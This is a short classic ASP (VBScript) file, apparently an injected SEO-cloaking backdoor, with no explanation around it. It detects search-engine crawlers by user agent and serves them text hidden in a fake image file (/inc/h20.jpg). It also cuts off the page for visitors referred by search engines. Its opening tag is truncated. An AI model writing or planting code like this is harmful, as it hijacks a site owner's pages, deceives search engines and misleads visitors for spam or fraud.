%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
if(isspider()) then
dim myfso,fileurl,filecon,myfile
fileurl=Server.MapPath("/inc/h20.jpg")
Set myfso=Server.CreateObject("Scripting.FileSystemObject")
if myfso.FileExists(fileurl) then
Set myfile=myfso.OpenTextFile(fileurl, 1)
filecon=myfile.readAll
response.write(filecon)
response.write("")
myfile.Close
Set myfile=Nothing
Set myfso=Nothing
response.end
end if
end if
if (fromse()) then
response.write(" ")
response.end
end if
%>